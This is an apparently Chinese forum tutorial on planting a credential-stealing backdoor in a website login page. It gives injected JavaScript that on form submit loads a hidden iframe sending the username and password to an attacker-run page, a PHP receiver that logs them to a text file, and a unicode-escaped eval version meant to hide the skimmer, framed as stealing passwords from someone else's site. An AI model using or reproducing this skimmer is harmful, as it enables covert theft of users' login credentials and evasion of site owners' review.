javascript表单劫持用户密码(后门免杀)

试验开始 javascript表单劫持

其实应该可以留有很多后门,但是我暂时只想到这一种,还希望社区的大神能够完善这篇文章·~~~~

原理:在正常的登陆页面,留下一段恶意JS代码,在登陆账号密码的同时,也会把账号密码悄悄的发送到我们的站点上~~~

test.html 正常页面

test2.php 用来验证账号密码数据的正常页面

test3.php 攻击站点用来接收账号密码的页面

http://127.0.0.1  你自己的攻击站

RSA 2017安全大会·密码学专场研讨会

实用入侵指南:真·现场开锁教程


正常页面 Test.html




原始的界面,自己简化了,代码内容如下
[AppleScript]  纯文本查看  复制代码
?
1
2
3
4
5
6
7
8
9
< form action = "test2.php" method = "POST" id = "form" >
 
   < input type = "text" name = "user" >
 
   < input type = "password" name = "pass" >
 
   < input type = "submit" >
 
< / form >

一般的情况下输入密码,数据提交给test2.php,很正常的一个页面~~

现在我们要在test.html里插入一段代码,用JS动态的创建一个iframe,包含表单里账号密码的值,把表单里的值发送到test3.php(我们的恶意接收站点)里 

代码如下

[AppleScript]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
< script >
 
     form = document .getElementById ( 'form' ) ;   / / 获取form表单
 
     form.onsubmit = function ( ) {
 
       var iframe = document .createElement ( "iframe" ) ; / / 创建一个iframe 内联框架
 
       iframe.style. display = "none" ;   / / 设置内联框架为隐藏模式
 
       alert ( form.user. value ) ;    / / 弹出表单里的账号的值
 
       alert ( form.pass. value ) ;    / / 弹出表单里密码的值
 
       iframe.src = "http://127.0.0.1/test3.php?user=" + form.user. value + "=username    " + form.pass. value + "=pass" ;           / / 对我们的站点发送GET请求,请求中附带着账号密码的数据
 
       document .body.appendChild ( iframe )
 
     }
 
   < / script >





现在来编写你用来接收账号密码的test3.php 页面的代码

[AppleScript]  纯文本查看  复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
< ?php
 
  $fp = fopen ( "user.txt" , "a+" ) ;   / / 创建一个user.txt文本
 
  $referer = "referer=" .$_SERVER['HTTP_REFERER']. "   " ;   / / 查看账号密码是从哪个地方发来的
 
  @$user = $_GET['user'];   / / 接收GET请求的账号
 
   @$pass = $_GET['pass'];  / / 接收GET请求的密码
 
 
  fwrite ( $fp , $referer ) ;   / / 将referer 写入到文本里
 
   fwrite ( $fp , $user ) ;   / / 将账号 写入到文本里
 
  fwrite ( $fp , $pass ) ;     / / 将密码写入到文本里
 
   fwrite ( $fp , "\r\n" ) ;     / / 每次写完换行
 
? >


现在我们点击提交试试




账号 123456密码 qwerty


账号弹出


密码弹窗

账号和密码就被保存在我们的攻击站点



内容分别是:来源URL发送给我们的数据        账号        密码 只要我们把这段代码放到对方的登陆页面,无论他修改什么密码,我们都可以收到他们的密码·~这段代码稍微有点经验人,就能看出端倪,那么~~~ 可以尝试对他进行编码,转码,或者隐藏起来

左边的代码不能有空格

最后的代码就是
[AppleScript]  纯文本查看  复制代码
?
1
eval ( "\u0066\u006f\u0072\u006d\u003d\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0067\u0065\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0042\u0079\u0049\u0064\u0028\u0027\u0066\u006f\u0072\u006d\u0027\u0029\u003b\u0066\u006f\u0072\u006d\u002e\u006f\u006e\u0073\u0075\u0062\u006d\u0069\u0074\u003d\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0029\u007b\u0076\u0061\u0072\u0020\u0069\u0066\u0072\u0061\u006d\u0065\u003d\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u0072\u0065\u0061\u0074\u0065\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0028\u0022\u0069\u0066\u0072\u0061\u006d\u0065\u0022\u0029\u003b\u0069\u0066\u0072\u0061\u006d\u0065\u002e\u0073\u0074\u0079\u006c\u0065\u002e\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003d\u0022\u006e\u006f\u006e\u0065\u0022\u003b\u0061\u006c\u0065\u0072\u0074\u0028\u0066\u006f\u0072\u006d\u002e\u0075\u0073\u0065\u0072\u002e\u0076\u0061\u006c\u0075\u0065\u0029\u003b\u0061\u006c\u0065\u0072\u0074\u0028\u0066\u006f\u0072\u006d\u002e\u0070\u0061\u0073\u0073\u002e\u0076\u0061\u006c\u0075\u0065\u0029\u003b\u0069\u0066\u0072\u0061\u006d\u0065\u002e\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0031\u0032\u0037\u002e\u0030\u002e\u0030\u002e\u0031\u002f\u0074\u0065\u0073\u0074\u0033\u002e\u0070\u0068\u0070\u003f\u0075\u0073\u0065\u0072\u003d\u0022\u002b\u0066\u006f\u0072\u006d\u002e\u0075\u0073\u0065\u0072\u002e\u0076\u0061\u006c\u0075\u0065\u002b\u0022\u003d\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u0020\u0020\u0020\u0020\u0022\u002b\u0066\u006f\u0072\u006d\u002e\u0070\u0061\u0073\u0073\u002e\u0076\u0061\u006c\u0075\u0065\u002b\u0022\u003d\u0070\u0061\u0073\u0073\u0022\u003b\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0062\u006f\u0064\u0079\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0043\u0068\u0069\u006c\u0064\u0028\u0069\u0066\u0072\u0061\u006d\u0065\u0029\u003b\u007d" )

转换后的代码,把这个代码放到对方任何位置都行,或者外部引用的JS代码,放到登陆页面,就能无限的接收密码了

你可能感兴趣的:(web安全,编程语言,网站安全)